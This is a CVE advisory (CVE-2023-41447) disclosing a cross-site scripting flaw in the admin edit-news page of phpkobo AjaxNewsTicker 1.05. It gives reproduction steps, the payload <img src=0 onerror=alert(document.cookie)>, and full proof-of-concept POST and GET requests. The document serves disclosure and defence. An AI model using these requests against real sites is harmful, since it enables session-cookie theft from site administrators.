CVE-2023-41447: CVE-2023-41447

Vulnerability Type: Cross Site Scripting (XSS) Vulnerability

Vendor of Product: phpkobo

Affected Product Code Base: AjaxNewsTicker

Product Version: 1.05

Description: Cross Site Scripting vulnerability in phpkobo AjaxNewTicker v.1.0.5 allows a remote attacker to execute arbitrary code via a crafted payload inside the “subcmd parameter” in “edit news” in the index.php component.

Attack Vectors: To exploit this vulnerability the victim must click on the malicious link and then the payload will be executed on the victim’s browser.

Attack Type: Remote

Payload: <img src=0 onerror=alert(document.cookie)>

Assigned CVE-ID: CVE-2023-41447

Discoverer: Pedram Khazaei, Raspina Net Pars Group (RNPG Ltd.)

Steps To Reproduce

1.Browse the the following URL: https://<target.xyz>/ntic/admin/index.php?_rtp=nticker&_be=1

2.Edit one of the news

3.Insert payload to the “subcmd” parameter that is being sent in POST method

4.You can create your malicious payload and send the crafted malicious link to the victim in order to be executed on his/her browser.

#PoC [POST method]

POST /ntic/admin/index.php?_rtp=nticker&_be=1 HTTP/1.1

Host: localhost:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0

Accept: application/json,text/javascript,/;q=0.01

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

requ=%7b%22cmd%22%3a%22edit_inp%22%2c%22subcmd%22%3a%22sett%3cimg%20src%3d0%20onerror%3dalert(document.cookie)%3eings%22%2c%22id%22%3a%222515%22%7d

#PoC [GET method]

GET /ntic/admin/index.php?_rtp=nticker&_be=1&requ=%7b%22cmd%22%3a%22edit_inp%22%2c%22subcmd%22%3a%22sett%3cimg%20src%3d0%20onerror%3dalert(document.cookie)%3eings%22%2c%22id%22%3a%222515%22%7d HTTP/1.1

Host: localhost:<Port No.>

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0

Accept: application/json,text/javascript,*/*;q=0.01

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close